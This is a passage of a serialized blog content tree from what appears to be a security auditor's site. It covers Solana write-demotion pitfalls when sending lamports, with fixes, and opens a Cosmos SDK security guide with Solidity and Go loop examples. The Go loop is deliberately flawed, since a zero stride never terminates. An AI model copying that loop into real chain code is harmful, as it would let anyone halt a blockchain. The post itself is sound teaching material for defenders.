Signer\u003C'info>,\n}\n",[76528],{"type":24,"tag":154,"props":76529,"children":76530},{"__ignoreMap":7},[76531,76546,76573,76588,76627,76634,76681,76712,76719,76734,76765,76772,76787,76818],{"type":24,"tag":158,"props":76532,"children":76533},{"class":160,"line":161},[76534,76538,76542],{"type":24,"tag":158,"props":76535,"children":76536},{"style":188},[76537],{"type":29,"value":24082},{"type":24,"tag":158,"props":76539,"children":76540},{"style":171},[76541],{"type":29,"value":24087},{"type":24,"tag":158,"props":76543,"children":76544},{"style":188},[76545],{"type":29,"value":21502},{"type":24,"tag":158,"props":76547,"children":76548},{"class":160,"line":213},[76549,76553,76557,76561,76565,76569],{"type":24,"tag":158,"props":76550,"children":76551},{"style":165},[76552],{"type":29,"value":14924},{"type":24,"tag":158,"props":76554,"children":76555},{"style":165},[76556],{"type":29,"value":22395},{"type":24,"tag":158,"props":76558,"children":76559},{"style":171},[76560],{"type":29,"value":72586},{"type":24,"tag":158,"props":76562,"children":76563},{"style":188},[76564],{"type":29,"value":24167},{"type":24,"tag":158,"props":76566,"children":76567},{"style":171},[76568],{"type":29,"value":24172},{"type":24,"tag":158,"props":76570,"children":76571},{"style":188},[76572],{"type":29,"value":8922},{"type":24,"tag":158,"props":76574,"children":76575},{"class":160,"line":238},[76576,76580,76584],{"type":24,"tag":158,"props":76577,"children":76578},{"style":188},[76579],{"type":29,"value":24374},{"type":24,"tag":158,"props":76581,"children":76582},{"style":165},[76583],{"type":29,"value":2169},{"type":24,"tag":158,"props":76585,"children":76586},{"style":188},[76587],{"type":29,"value":21502},{"type":24,"tag":158,"props":76589,"children":76590},{"class":160,"line":259},[76591,76595,76599,76603,76607,76611,76615,76619,76623],{"type":24,"tag":158,"props":76592,"children":76593},{"style":165},[76594],{"type":29,"value":22087},{"type":24,"tag":158,"props":76596,"children":76597},{"style":177},[76598],{"type":29,"value":72625},{"type":24,"tag":158,"props":76600,"children":76601},{"style":222},[76602],{"type":29,"value":225},{"type":24,"tag":158,"props":76604,"children":76605},{"style":171},[76606],{"type":29,"value":24339},{"type":24,"tag":158,"props":76608,"children":76609},{"style":188},[76610],{"type":29,"value":24167},{"type":24,"tag":158,"props":76612,"children":76613},{"style":171},[76614],{"type":29,"value":24172},{"type":24,"tag":158,"props":76616,"children":76617},{"style":188},[76618],{"type":29,"value":191},{"type":24,"tag":158,"props":76620,"children":76621},{"style":171},[76622],{"type":29,"value":72650},{"type":24,"tag":158,"props":76624,"children":76625},{"style":188},[76626],{"type":29,"value":7788},{"type":24,"tag":158,"props":76628,"children":76629},{"class":160,"line":280},[76630],{"type":24,"tag":158,"props":76631,"children":76632},{"emptyLinePlaceholder":16},[76633],{"type":29,"value":481},{"type":24,"tag":158,"props":76635,"children":76636},{"class":160,"line":301},[76637,76641,76645,76649,76653,76657,76661,76665,76669,76673,76677],{"type":24,"tag":158,"props":76638,"children":76639},{"style":188},[76640],{"type":29,"value":24374},{"type":24,"tag":158,"props":76642,"children":76643},{"style":165},[76644],{"type":29,"value":2169},{"type":24,"tag":158,"props":76646,"children":76647},{"style":188},[76648],{"type":29,"value":72685},{"type":24,"tag":158,"props":76650,"children":76651},{"style":222},[76652],{"type":29,"value":1285},{"type":24,"tag":158,"props":76654,"children":76655},{"style":188},[76656],{"type":29,"value":72694},{"type":24,"tag":158,"props":76658,"children":76659},{"style":222},[76660],{"type":29,"value":347},{"type":24,"tag":158,"props":76662,"children":76663},{"style":188},[76664],{"type":29,"value":72703},{"type":24,"tag":158,"props":76666,"children":76667},{"style":222},[76668],{"type":29,"value":1034},{"type":24,"tag":158,"props":76670,"children":76671},{"style":188},[76672],{"type":29,"value":72625},{"type":24,"tag":158,"props":76674,"children":76675},{"style":222},[76676],{"type":29,"value":347},{"type":24,"tag":158,"props":76678,"children":76679},{"style":188},[76680],{"type":29,"value":72720},{"type":24,"tag":158,"props":76682,"children":76683},{"class":160,"line":626},[76684,76688,76692,76696,76700,76704,76708],{"type":24,"tag":158,"props":76685,"children":76686},{"style":165},[76687],{"type":29,"value":22087},{"type":24,"tag":158,"props":76689,"children":76690},{"style":177},[76691],{"type":29,"value":72694},{"type":24,"tag":158,"props":76693,"children":76694},{"style":222},[76695],{"type":29,"value":225},{"type":24,"tag":158,"props":76697,"children":76698},{"style":171},[76699],{"type":29,"value":26655},{"type":24,"tag":158,"props":76701,"children":76702},{"style":188},[76703],{"type":29,"value":24167},{"type":24,"tag":158,"props":76705,"children":76706},{"style":171},[76707],{"type":29,"value":24172},{"type":24,"tag":158,"props":76709,"children":76710},{"style":188},[76711],{"type":29,"value":7788},{"type":24,"tag":158,"props":76713,"children":76714},{"class":160,"line":668},[76715],{"type":24,"tag":158,"props":76716,"children":76717},{"emptyLinePlaceholder":16},[76718],{"type":29,"value":481},{"type":24,"tag":158,"props":76720,"children":76721},{"class":160,"line":676},[76722,76726,76730],{"type":24,"tag":158,"props":76723,"children":76724},{"style":188},[76725],{"type":29,"value":24374},{"type":24,"tag":158,"props":76727,"children":76728},{"style":165},[76729],{"type":29,"value":2169},{"type":24,"tag":158,"props":76731,"children":76732},{"style":188},[76733],{"type":29,"value":21502},{"type":24,"tag":158,"props":76735,"children":76736},{"class":160,"line":684},[76737,76741,76745,76749,76753,76757,76761],{"type":24,"tag":158,"props":76738,"children":76739},{"style":165},[76740],{"type":29,"value":22087},{"type":24,"tag":158,"props":76742,"children":76743},{"style":177},[76744],{"type":29,"value":72793},{"type":24,"tag":158,"props":76746,"children":76747},{"style":222},[76748],{"type":29,"value":225},{"type":24,"tag":158,"props":76750,"children":76751},{"style":171},[76752],{"type":29,"value":26655},{"type":24,"tag":158,"props":76754,"children":76755},{"style":188},[76756],{"type":29,"value":24167},{"type":24,"tag":158,"props":76758,"children":76759},{"style":171},[76760],{"type":29,"value":24172},{"type":24,"tag":158,"props":76762,"children":76763},{"style":188},[76764],{"type":29,"value":7788},{"type":24,"tag":158,"props":76766,"children":76767},{"class":160,"line":700},[76768],{"type":24,"tag":158,"props":76769,"children":76770},{"emptyLinePlaceholder":16},[76771],{"type":29,"value":481},{"type":24,"tag":158,"props":76773,"children":76774},{"class":160,"line":785},[76775,76779,76783],{"type":24,"tag":158,"props":76776,"children":76777},{"style":188},[76778],{"type":29,"value":24374},{"type":24,"tag":158,"props":76780,"children":76781},{"style":165},[76782],{"type":29,"value":2169},{"type":24,"tag":158,"props":76784,"children":76785},{"style":188},[76786],{"type":29,"value":21502},{"type":24,"tag":158,"props":76788,"children":76789},{"class":160,"line":1447},[76790,76794,76798,76802,76806,76810,76814],{"type":24,"tag":158,"props":76791,"children":76792},{"style":165},[76793],{"type":29,"value":22087},{"type":24,"tag":158,"props":76795,"children":76796},{"style":177},[76797],{"type":29,"value":43507},{"type":24,"tag":158,"props":76799,"children":76800},{"style":222},[76801],{"type":29,"value":225},{"type":24,"tag":158,"props":76803,"children":76804},{"style":171},[76805],{"type":29,"value":24403},{"type":24,"tag":158,"props":76807,"children":76808},{"style":188},[76809],{"type":29,"value":24167},{"type":24,"tag":158,"props":76811,"children":76812},{"style":171},[76813],{"type":29,"value":24172},{"type":24,"tag":158,"props":76815,"children":76816},{"style":188},[76817],{"type":29,"value":7788},{"type":24,"tag":158,"props":76819,"children":76820},{"class":160,"line":1509},[76821],{"type":24,"tag":158,"props":76822,"children":76823},{"style":188},[76824],{"type":29,"value":307},{"type":24,"tag":25,"props":76826,"children":76827},{},[76828,76830,76836,76838,76844],{"type":29,"value":76829},"This works fine — until one day, ",{"type":24,"tag":154,"props":76831,"children":76833},{"className":76832},[],[76834],{"type":29,"value":76835},"old_king",{"type":29,"value":76837}," is silently demoted. Suddenly, the ",{"type":24,"tag":154,"props":76839,"children":76841},{"className":76840},[],[76842],{"type":29,"value":76843},"#[account(mut)]",{"type":29,"value":76845}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":24,"tag":20134,"props":76847,"children":76849},{"id":76848},"real-world-example-write-demotion-with-secp256r1_program",[76850,76852],{"type":29,"value":76851},"Real-World Example: Write-Demotion with ",{"type":24,"tag":154,"props":76853,"children":76855},{"className":76854},[],[76856],{"type":29,"value":76857},"secp256r1_program",{"type":24,"tag":25,"props":76859,"children":76860},{},[76861,76863,76868],{"type":29,"value":76862},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":24,"tag":154,"props":76864,"children":76866},{"className":76865},[],[76867],{"type":29,"value":76857},{"type":29,"value":76869},", a precompiled program gated behind a feature flag:",{"type":24,"tag":147,"props":76871,"children":76873},{"className":151,"code":76872,"language":150,"meta":7,"style":7},"ReservedAccount::new_pending(\n secp256r1_program::id(),\n feature_set::enable_secp256r1_precompile::id(),\n)\n",[76874],{"type":24,"tag":154,"props":76875,"children":76876},{"__ignoreMap":7},[76877,76898,76918,76947],{"type":24,"tag":158,"props":76878,"children":76879},{"class":160,"line":161},[76880,76885,76889,76894],{"type":24,"tag":158,"props":76881,"children":76882},{"style":171},[76883],{"type":29,"value":76884},"ReservedAccount",{"type":24,"tag":158,"props":76886,"children":76887},{"style":222},[76888],{"type":29,"value":2146},{"type":24,"tag":158,"props":76890,"children":76891},{"style":496},[76892],{"type":29,"value":76893},"new_pending",{"type":24,"tag":158,"props":76895,"children":76896},{"style":188},[76897],{"type":29,"value":2156},{"type":24,"tag":158,"props":76899,"children":76900},{"class":160,"line":213},[76901,76906,76910,76914],{"type":24,"tag":158,"props":76902,"children":76903},{"style":188},[76904],{"type":29,"value":76905}," secp256r1_program",{"type":24,"tag":158,"props":76907,"children":76908},{"style":222},[76909],{"type":29,"value":2146},{"type":24,"tag":158,"props":76911,"children":76912},{"style":496},[76913],{"type":29,"value":5145},{"type":24,"tag":158,"props":76915,"children":76916},{"style":188},[76917],{"type":29,"value":5150},{"type":24,"tag":158,"props":76919,"children":76920},{"class":160,"line":238},[76921,76926,76930,76935,76939,76943],{"type":24,"tag":158,"props":76922,"children":76923},{"style":188},[76924],{"type":29,"value":76925}," feature_set",{"type":24,"tag":158,"props":76927,"children":76928},{"style":222},[76929],{"type":29,"value":2146},{"type":24,"tag":158,"props":76931,"children":76932},{"style":188},[76933],{"type":29,"value":76934},"enable_secp256r1_precompile",{"type":24,"tag":158,"props":76936,"children":76937},{"style":222},[76938],{"type":29,"value":2146},{"type":24,"tag":158,"props":76940,"children":76941},{"style":496},[76942],{"type":29,"value":5145},{"type":24,"tag":158,"props":76944,"children":76945},{"style":188},[76946],{"type":29,"value":5150},{"type":24,"tag":158,"props":76948,"children":76949},{"class":160,"line":259},[76950],{"type":24,"tag":158,"props":76951,"children":76952},{"style":188},[76953],{"type":29,"value":2125},{"type":24,"tag":25,"props":76955,"children":76956},{},[76957,76959,76964,76966,76972],{"type":29,"value":76958},"Before the ",{"type":24,"tag":154,"props":76960,"children":76962},{"className":76961},[],[76963],{"type":29,"value":76934},{"type":29,"value":76965}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":24,"tag":154,"props":76967,"children":76969},{"className":76968},[],[76970],{"type":29,"value":76971},"secp256r1_program::id()",{"type":29,"value":76973}," as the king in a contract.",{"type":24,"tag":25,"props":76975,"children":76976},{},[76977,76979,76984],{"type":29,"value":76978},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":24,"tag":154,"props":76980,"children":76982},{"className":76981},[],[76983],{"type":29,"value":76971},{"type":29,"value":76985}," becomes the eternal king, and no one can dethrone it.",{"type":24,"tag":20134,"props":76987,"children":76989},{"id":76988},"fix-3-preventing-write-demotion-pitfalls",[76990],{"type":29,"value":76991},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":24,"tag":25,"props":76993,"children":76994},{},[76995,76997,77002],{"type":29,"value":76996},"Alright, let’s try to fix this ",{"type":24,"tag":32,"props":76998,"children":76999},{},[77000],{"type":29,"value":77001},"yet another",{"type":29,"value":77003}," edge case — and hopefully close the book on it.",{"type":24,"tag":20134,"props":77005,"children":77007},{"id":77006},"attempt-1-block-known-reserved-accounts",[77008],{"type":29,"value":77009},"Attempt 1: Block Known Reserved Accounts",{"type":24,"tag":25,"props":77011,"children":77012},{},[77013],{"type":29,"value":77014},"One naive solution is to reject any known reserved account, for example:",{"type":24,"tag":147,"props":77016,"children":77018},{"className":41625,"code":77017,"language":41627,"meta":7,"style":7}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[77019],{"type":24,"tag":154,"props":77020,"children":77021},{"__ignoreMap":7},[77022,77030],{"type":24,"tag":158,"props":77023,"children":77024},{"class":160,"line":161},[77025],{"type":24,"tag":158,"props":77026,"children":77027},{"style":188},[77028],{"type":29,"value":77029}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":24,"tag":158,"props":77031,"children":77032},{"class":160,"line":213},[77033],{"type":24,"tag":158,"props":77034,"children":77035},{"style":465},[77036],{"type":29,"value":77037},"+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":24,"tag":25,"props":77039,"children":77040},{},[77041,77043,77048],{"type":29,"value":77042},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":24,"tag":154,"props":77044,"children":77046},{"className":77045},[],[77047],{"type":29,"value":76884},{"type":29,"value":77049}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":24,"tag":20134,"props":77051,"children":77053},{"id":77052},"attempt-2-use-a-pda-vault",[77054],{"type":29,"value":77055},"Attempt 2: Use a PDA Vault",{"type":24,"tag":25,"props":77057,"children":77058},{},[77059,77061,77066],{"type":29,"value":77060},"A more future-proof fix is to avoid ",{"type":24,"tag":897,"props":77062,"children":77063},{},[77064],{"type":29,"value":77065},"transferring lamports to arbitrary accounts",{"type":29,"value":77067}," altogether.",{"type":24,"tag":25,"props":77069,"children":77070},{},[77071],{"type":29,"value":77072},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":24,"tag":59,"props":77074,"children":77076},{"id":77075},"final-thoughts",[77077],{"type":29,"value":77078},"Final Thoughts",{"type":24,"tag":25,"props":77080,"children":77081},{},[77082],{"type":29,"value":77083},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":24,"tag":25,"props":77085,"children":77086},{},[77087],{"type":29,"value":77088},"We can safely transfer lamports to an account under the following conditions:",{"type":24,"tag":17924,"props":77090,"children":77091},{},[77092,77097,77102],{"type":24,"tag":1790,"props":77093,"children":77094},{},[77095],{"type":29,"value":77096},"It's not executable.",{"type":24,"tag":1790,"props":77098,"children":77099},{},[77100],{"type":29,"value":77101},"Its balance, after the transfer, remains rent-exempt.",{"type":24,"tag":1790,"props":77103,"children":77104},{},[77105],{"type":29,"value":77106},"It's not a reserved account.",{"type":24,"tag":25,"props":77108,"children":77109},{},[77110],{"type":29,"value":77111},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":24,"tag":4517,"props":77113,"children":77114},{},[77115],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":77117},[77118,77119,77120,77126],{"id":30274,"depth":213,"text":30277},{"id":72500,"depth":213,"text":72503},{"id":73607,"depth":213,"text":73610,"children":77121},[77122,77123,77125],{"id":73613,"depth":238,"text":73616},{"id":74300,"depth":238,"text":77124},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":75605,"depth":238,"text":75608},{"id":77075,"depth":213,"text":77078},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":77131,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":77132,"description":77133,"date":77134,"author":77135,"image":77136,"isFeatured":16,"onBlogPage":16,"tags":77138,"body":77141,"_type":4536,"_id":91026,"_source":4538,"_file":91027,"_stem":91028,"_extension":4541},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":77137,"width":14857,"height":14857},"/posts/cosmos-security/title.png",[77139,77140],"cosmos-sdk","security",{"type":21,"children":77142,"toc":91004},[77143,77147,77152,77157,77163,77168,77173,77178,77439,77928,77947,77952,77957,77962,77968,77973,78008,78018,78525,78545,78558,78564,78569,78574,78815,78820,78828,78840,79202,79207,79212,79248,79257,79683,79704,79710,79730,79751,79770,79802,79814,79826,80480,80508,80517,80957,80984,81004,81009,81030,81079,81088,82320,82348,82354,82359,82364,82384,82671,82705,82886,82891,82896,82940,82949,84141,84392,84405,84411,84445,84450,84513,84518,84538,84557,84569,84588,85280,85285,85290,85318,85327,86212,86239,86245,86265,86270,86283,86457,86470,86561,86566,86574,86584,86734,86739,86759,86767,86772,87170,87182,87187,87228,87239,87259,87567,87572,88497,88509,88517,88522,89515,89520,89532,89552,89571,90485,90542,90648,90660,90665,90670,90698,90707,90933,90959,90972,90986,90990,90995,91000],{"type":24,"tag":59,"props":77144,"children":77145},{"id":30274},[77146],{"type":29,"value":30277},{"type":24,"tag":25,"props":77148,"children":77149},{},[77150],{"type":29,"value":77151},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":24,"tag":25,"props":77153,"children":77154},{},[77155],{"type":29,"value":77156},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":24,"tag":59,"props":77158,"children":77160},{"id":77159},"its-loopin-time",[77161],{"type":29,"value":77162},"It's Loopin' Time",{"type":24,"tag":25,"props":77164,"children":77165},{},[77166],{"type":29,"value":77167},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":24,"tag":25,"props":77169,"children":77170},{},[77171],{"type":29,"value":77172},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":24,"tag":25,"props":77174,"children":77175},{},[77176],{"type":29,"value":77177},"Here is a simple example for reference:",{"type":24,"tag":147,"props":77179,"children":77181},{"code":77180,"language":6133,"meta":7,"className":6134,"style":7},"function sumWithStride(\n uint64 start,\n uint64 stride,\n uint64[] memory arr\n) public returns (uint64) {\n uint64 idx = start;\n uint64 sum = 0;\n uint64 end = arr.length;\n\n while (idx \u003C end) {\n sum += arr[idx];\n idx += stride;\n }\n return sum;\n}\n",[77182],{"type":24,"tag":154,"props":77183,"children":77184},{"__ignoreMap":7},[77185,77201,77218,77234,77256,77285,77306,77330,77351,77358,77379,77396,77413,77420,77432],{"type":24,"tag":158,"props":77186,"children":77187},{"class":160,"line":161},[77188,77192,77197],{"type":24,"tag":158,"props":77189,"children":77190},{"style":165},[77191],{"type":29,"value":32638},{"type":24,"tag":158,"props":77193,"children":77194},{"style":496},[77195],{"type":29,"value":77196}," sumWithStride",{"type":24,"tag":158,"props":77198,"children":77199},{"style":188},[77200],{"type":29,"value":2156},{"type":24,"tag":158,"props":77202,"children":77203},{"class":160,"line":213},[77204,77209,77214],{"type":24,"tag":158,"props":77205,"children":77206},{"style":171},[77207],{"type":29,"value":77208}," uint64",{"type":24,"tag":158,"props":77210,"children":77211},{"style":177},[77212],{"type":29,"value":77213}," start",{"type":24,"tag":158,"props":77215,"children":77216},{"style":188},[77217],{"type":29,"value":235},{"type":24,"tag":158,"props":77219,"children":77220},{"class":160,"line":238},[77221,77225,77230],{"type":24,"tag":158,"props":77222,"children":77223},{"style":171},[77224],{"type":29,"value":77208},{"type":24,"tag":158,"props":77226,"children":77227},{"style":177},[77228],{"type":29,"value":77229}," stride",{"type":24,"tag":158,"props":77231,"children":77232},{"style":188},[77233],{"type":29,"value":235},{"type":24,"tag":158,"props":77235,"children":77236},{"class":160,"line":259},[77237,77241,77246,77251],{"type":24,"tag":158,"props":77238,"children":77239},{"style":171},[77240],{"type":29,"value":77208},{"type":24,"tag":158,"props":77242,"children":77243},{"style":188},[77244],{"type":29,"value":77245},"[] ",{"type":24,"tag":158,"props":77247,"children":77248},{"style":165},[77249],{"type":29,"value":77250},"memory",{"type":24,"tag":158,"props":77252,"children":77253},{"style":177},[77254],{"type":29,"value":77255}," arr\n",{"type":24,"tag":158,"props":77257,"children":77258},{"class":160,"line":280},[77259,77263,77267,77272,77276,77281],{"type":24,"tag":158,"props":77260,"children":77261},{"style":188},[77262],{"type":29,"value":723},{"type":24,"tag":158,"props":77264,"children":77265},{"style":165},[77266],{"type":29,"value":62949},{"type":24,"tag":158,"props":77268,"children":77269},{"style":1914},[77270],{"type":29,"value":77271}," returns",{"type":24,"tag":158,"props":77273,"children":77274},{"style":188},[77275],{"type":29,"value":2262},{"type":24,"tag":158,"props":77277,"children":77278},{"style":171},[77279],{"type":29,"value":77280},"uint64",{"type":24,"tag":158,"props":77282,"children":77283},{"style":188},[77284],{"type":29,"value":16038},{"type":24,"tag":158,"props":77286,"children":77287},{"class":160,"line":301},[77288,77292,77297,77301],{"type":24,"tag":158,"props":77289,"children":77290},{"style":171},[77291],{"type":29,"value":77208},{"type":24,"tag":158,"props":77293,"children":77294},{"style":188},[77295],{"type":29,"value":77296}," idx ",{"type":24,"tag":158,"props":77298,"children":77299},{"style":222},[77300],{"type":29,"value":1285},{"type":24,"tag":158,"props":77302,"children":77303},{"style":188},[77304],{"type":29,"value":77305}," start;\n",{"type":24,"tag":158,"props":77307,"children":77308},{"class":160,"line":626},[77309,77313,77318,77322,77326],{"type":24,"tag":158,"props":77310,"children":77311},{"style":171},[77312],{"type":29,"value":77208},{"type":24,"tag":158,"props":77314,"children":77315},{"style":188},[77316],{"type":29,"value":77317}," sum ",{"type":24,"tag":158,"props":77319,"children":77320},{"style":222},[77321],{"type":29,"value":1285},{"type":24,"tag":158,"props":77323,"children":77324},{"style":465},[77325],{"type":29,"value":2025},{"type":24,"tag":158,"props":77327,"children":77328},{"style":188},[77329],{"type":29,"value":473},{"type":24,"tag":158,"props":77331,"children":77332},{"class":160,"line":668},[77333,77337,77342,77346],{"type":24,"tag":158,"props":77334,"children":77335},{"style":171},[77336],{"type":29,"value":77208},{"type":24,"tag":158,"props":77338,"children":77339},{"style":188},[77340],{"type":29,"value":77341}," end ",{"type":24,"tag":158,"props":77343,"children":77344},{"style":222},[77345],{"type":29,"value":1285},{"type":24,"tag":158,"props":77347,"children":77348},{"style":188},[77349],{"type":29,"value":77350}," arr.length;\n",{"type":24,"tag":158,"props":77352,"children":77353},{"class":160,"line":676},[77354],{"type":24,"tag":158,"props":77355,"children":77356},{"emptyLinePlaceholder":16},[77357],{"type":29,"value":481},{"type":24,"tag":158,"props":77359,"children":77360},{"class":160,"line":684},[77361,77365,77370,77374],{"type":24,"tag":158,"props":77362,"children":77363},{"style":1914},[77364],{"type":29,"value":65648},{"type":24,"tag":158,"props":77366,"children":77367},{"style":188},[77368],{"type":29,"value":77369}," (idx ",{"type":24,"tag":158,"props":77371,"children":77372},{"style":222},[77373],{"type":29,"value":3760},{"type":24,"tag":158,"props":77375,"children":77376},{"style":188},[77377],{"type":29,"value":77378}," end) {\n",{"type":24,"tag":158,"props":77380,"children":77381},{"class":160,"line":700},[77382,77387,77391],{"type":24,"tag":158,"props":77383,"children":77384},{"style":188},[77385],{"type":29,"value":77386}," sum ",{"type":24,"tag":158,"props":77388,"children":77389},{"style":222},[77390],{"type":29,"value":69713},{"type":24,"tag":158,"props":77392,"children":77393},{"style":188},[77394],{"type":29,"value":77395}," arr[idx];\n",{"type":24,"tag":158,"props":77397,"children":77398},{"class":160,"line":785},[77399,77404,77408],{"type":24,"tag":158,"props":77400,"children":77401},{"style":188},[77402],{"type":29,"value":77403}," idx ",{"type":24,"tag":158,"props":77405,"children":77406},{"style":222},[77407],{"type":29,"value":69713},{"type":24,"tag":158,"props":77409,"children":77410},{"style":188},[77411],{"type":29,"value":77412}," stride;\n",{"type":24,"tag":158,"props":77414,"children":77415},{"class":160,"line":1447},[77416],{"type":24,"tag":158,"props":77417,"children":77418},{"style":188},[77419],{"type":29,"value":3967},{"type":24,"tag":158,"props":77421,"children":77422},{"class":160,"line":1509},[77423,77427],{"type":24,"tag":158,"props":77424,"children":77425},{"style":1914},[77426],{"type":29,"value":18227},{"type":24,"tag":158,"props":77428,"children":77429},{"style":188},[77430],{"type":29,"value":77431}," sum;\n",{"type":24,"tag":158,"props":77433,"children":77434},{"class":160,"line":1527},[77435],{"type":24,"tag":158,"props":77436,"children":77437},{"style":188},[77438],{"type":29,"value":307},{"type":24,"tag":147,"props":77440,"children":77444},{"code":77441,"language":77442,"meta":7,"className":77443,"style":7},"type MsgSumWithStrideParams struct {\n Start uint64\n Stride uint64\n Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n goCtx context.Context,\n msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n sum := uint64(0)\n end := uint64(len(msg.Arr))\n for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n sum += msg.Arr[idx]\n }\n return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[77445],{"type":24,"tag":154,"props":77446,"children":77447},{"__ignoreMap":7},[77448,77468,77481,77493,77511,77518,77525,77545,77557,77564,77571,77606,77632,77653,77682,77712,77757,77834,77870,77877,77921],{"type":24,"tag":158,"props":77449,"children":77450},{"class":160,"line":161},[77451,77455,77460,77464],{"type":24,"tag":158,"props":77452,"children":77453},{"style":165},[77454],{"type":29,"value":34018},{"type":24,"tag":158,"props":77456,"children":77457},{"style":171},[77458],{"type":29,"value":77459}," MsgSumWithStrideParams",{"type":24,"tag":158,"props":77461,"children":77462},{"style":165},[77463],{"type":29,"value":22395},{"type":24,"tag":158,"props":77465,"children":77466},{"style":188},[77467],{"type":29,"value":210},{"type":24,"tag":158,"props":77469,"children":77470},{"class":160,"line":213},[77471,77476],{"type":24,"tag":158,"props":77472,"children":77473},{"style":177},[77474],{"type":29,"value":77475}," Start",{"type":24,"tag":158,"props":77477,"children":77478},{"style":171},[77479],{"type":29,"value":77480}," uint64\n",{"type":24,"tag":158,"props":77482,"children":77483},{"class":160,"line":238},[77484,77489],{"type":24,"tag":158,"props":77485,"children":77486},{"style":177},[77487],{"type":29,"value":77488}," Stride",{"type":24,"tag":158,"props":77490,"children":77491},{"style":171},[77492],{"type":29,"value":77480},{"type":24,"tag":158,"props":77494,"children":77495},{"class":160,"line":259},[77496,77501,77506],{"type":24,"tag":158,"props":77497,"children":77498},{"style":177},[77499],{"type":29,"value":77500}," Arr",{"type":24,"tag":158,"props":77502,"children":77503},{"style":188},[77504],{"type":29,"value":77505}," []",{"type":24,"tag":158,"props":77507,"children":77508},{"style":171},[77509],{"type":29,"value":77510},"uint64\n",{"type":24,"tag":158,"props":77512,"children":77513},{"class":160,"line":280},[77514],{"type":24,"tag":158,"props":77515,"children":77516},{"style":188},[77517],{"type":29,"value":307},{"type":24,"tag":158,"props":77519,"children":77520},{"class":160,"line":301},[77521],{"type":24,"tag":158,"props":77522,"children":77523},{"emptyLinePlaceholder":16},[77524],{"type":29,"value":481},{"type":24,"tag":158,"props":77526,"children":77527},{"class":160,"line":626},[77528,77532,77537,77541],{"type":24,"tag":158,"props":77529,"children":77530},{"style":165},[77531],{"type":29,"value":34018},{"type":24,"tag":158,"props":77533,"children":77534},{"style":171},[77535],{"type":29,"value":77536}," MsgSumWithStrideResponse",{"type":24,"tag":158,"props":77538,"children":77539},{"style":165},[77540],{"type":29,"value":22395},{"type":24,"tag":158,"props":77542,"children":77543},{"style":188},[77544],{"type":29,"value":210},{"type":24,"tag":158,"props":77546,"children":77547},{"class":160,"line":668},[77548,77553],{"type":24,"tag":158,"props":77549,"children":77550},{"style":177},[77551],{"type":29,"value":77552}," Sum",{"type":24,"tag":158,"props":77554,"children":77555},{"style":171},[77556],{"type":29,"value":77480},{"type":24,"tag":158,"props":77558,"children":77559},{"class":160,"line":676},[77560],{"type":24,"tag":158,"props":77561,"children":77562},{"style":188},[77563],{"type":29,"value":307},{"type":24,"tag":158,"props":77565,"children":77566},{"class":160,"line":684},[77567],{"type":24,"tag":158,"props":77568,"children":77569},{"emptyLinePlaceholder":16},[77570],{"type":29,"value":481},{"type":24,"tag":158,"props":77572,"children":77573},{"class":160,"line":700},[77574,77579,77583,77588,77593,77597,77602],{"type":24,"tag":158,"props":77575,"children":77576},{"style":165},[77577],{"type":29,"value":77578},"func",{"type":24,"tag":158,"props":77580,"children":77581},{"style":188},[77582],{"type":29,"value":2262},{"type":24,"tag":158,"props":77584,"children":77585},{"style":177},[77586],{"type":29,"value":77587},"ms ",{"type":24,"tag":158,"props":77589,"children":77590},{"style":171},[77591],{"type":29,"value":77592},"msgServer",{"type":24,"tag":158,"props":77594,"children":77595},{"style":188},[77596],{"type":29,"value":723},{"type":24,"tag":158,"props":77598,"children":77599},{"style":496},[77600],{"type":29,"value":77601},"SumWithStride",{"type":24,"tag":158,"props":77603,"children":77604},{"style":188},[77605],{"type":29,"value":2156},{"type":24,"tag":158,"props":77607,"children":77608},{"class":160,"line":785},[77609,77614,77619,77623,77628],{"type":24,"tag":158,"props":77610,"children":77611},{"style":177},[77612],{"type":29,"value":77613}," 